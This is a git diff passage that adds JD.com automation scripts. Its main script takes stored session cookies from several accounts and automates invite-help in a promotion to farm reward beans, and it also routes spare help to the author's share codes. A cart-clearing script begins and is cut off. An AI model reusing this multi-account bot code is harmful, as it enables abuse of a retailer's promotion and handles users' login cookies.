e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_carnivalcity_help.js b/backUp/jd_carnivalcity_help.js new file mode 100644 index 0000000..f76ce19 --- /dev/null +++ b/backUp/jd_carnivalcity_help.js @@ -0,0 +1,424 @@ +/* +京东手机狂欢城活动,每日可获得20+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) +活动时间: 2021-8-9至2021-8-28 +活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com/) + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城助力 +10 0,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js, tag=京东手机狂欢城助力, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "10 0,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js, tag=京东手机狂欢城助力 + +====================Surge================ +京东手机狂欢城助力 = type=cron,cronexp=10 0,8 * * *,wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js + +============小火箭========= +京东手机狂欢城助力 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js, cronexpr="10 0,8 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东手机狂欢城助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +let isLoginInfo = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let inviteCodes = []; +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.temp = []; + $.updatePkActivityIdRes = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_cityShareCodes.json') + if (!$.updatePkActivityIdRes) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_cityShareCodes.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.updatePkActivityIdRes = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_cityShareCodes.json') + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0;//本次运行获得京豆数量 + $.blockAccount = false;//黑号 + message = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await JD818(); + await $.wait(1000) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true;//能否助力 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!isLoginInfo[$.UserName]) continue + if ((cookiesArr && cookiesArr.length >= 1) && ($.temp && $.temp.length)) { + console.log(`\n先自己账号内部相互邀请助力`); + for (let j = 0; j < $.temp.length && $.canHelp; j++) { + console.log(`\n${$.UserName} 去助力 ${$.temp[j]}`); + $.delcode = false; + await toHelp($.temp[j].trim()); + if ($.delcode) { + $.temp.splice(j, 1) + j-- + continue + } + } + } + if ($.canHelp && ($.newShareCodes && $.newShareCodes.length)) { + console.log(`\n\n如果有剩余助力机会,则给作者助力`) + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`\n${$.UserName} 去助力 ${$.newShareCodes[j]}`); + $.delcode = false; + await toHelp($.newShareCodes[j].trim()); + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } + } + } + // console.log(JSON.stringify($.temp)) + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode()) { + await notify.sendNotify($.name, allMessage, { url: "https://carnivalcity.m.jd.com/" }); + $.msg($.name, '', allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function JD818() { + try { + await supportList();//助力情况 + await getHelp();//获取邀请码 + if ($.blockAccount) return + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +//获取助力信息 +function supportList() { + const body = {"apiMapping":"/khc/index/supportList"} + return new Promise( (resolve) => { + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//助力API +function toHelp(code) { + return new Promise(resolve => { + const body = {"shareId":code,"apiMapping":"/khc/task/doSupport"} + $.post(taskUrl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data.data.status === 6) { + console.log(`助力成功`) + } else if (data.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + $.canHelp = false + } else if (data.data.status === 4) { + console.log(`助力码 ${code} 已达上限`); + $.delcode = true + } else if (data.data.status === 3) { + console.log(`已经助力过`); + } else if (data.data.status === 2) { + console.log(`助力码 ${code} 过期`); + $.delcode = true + } else if (data.data.status === 1) { + console.log(`不能助力自己`); + } else if (data.msg.indexOf('请求参数不合规') > -1) { + console.log(`助力码 ${code} 助力码有问题`) + $.delcode = true + } else if (data.msg.indexOf('火爆') > -1) { + console.log(`${data.msg},跳出助力`) + $.canHelp = false + } else { + console.log(`助力码 ${code} 助力结果\n${JSON.stringify(data)}`) + } + if (data['data']['jdNums']) $.beans += data['data']['jdNums']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取邀请码API +function getHelp() { + return new Promise(resolve => { + const body = {"apiMapping":"/khc/task/getSupport"} + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); + $.temp.push(data.data.shareId); + } else { + console.log(`获取邀请码失败:${JSON.stringify(data)}`); + if (data.code === 1002) $.blockAccount = true; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/carnivalcity/query/20/`, 'timeout': 20000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; + } + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } + // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD818_SHARECODES) { + if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD818_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD818_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(body = {}) { + return { + url: `${JD_API_HOST}?appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, + headers: { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-cn", + "referer": "https://carnivalcity.m.jd.com/", + "origin": "https://carnivalcity.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function showMsg() { + if ($.beans) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:"https://carnivalcity.m.jd.com/"${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com/"}); +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_cart_remove.js b/backUp/jd_cart_remove.js new file mode 100644 index 0000000..7c78d22 --- /dev/null +++ b/backUp/jd_cart_remove.js @@ -0,0 +1,633 @@ +/* + * @Author: X1a0He + * @Contact: https://t.me/X1a0He + * @Date: 2021-09-05 23:20:00 + * @LastEditTime: 2021-09-05 23:20:00 + * @LastEditors: X1a0He + * @Description: 清空购物车,支持环境变量设置关键字,用@分隔,使用前请认真看对应注释 + */ +const $ = new Env('清空购物车'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let 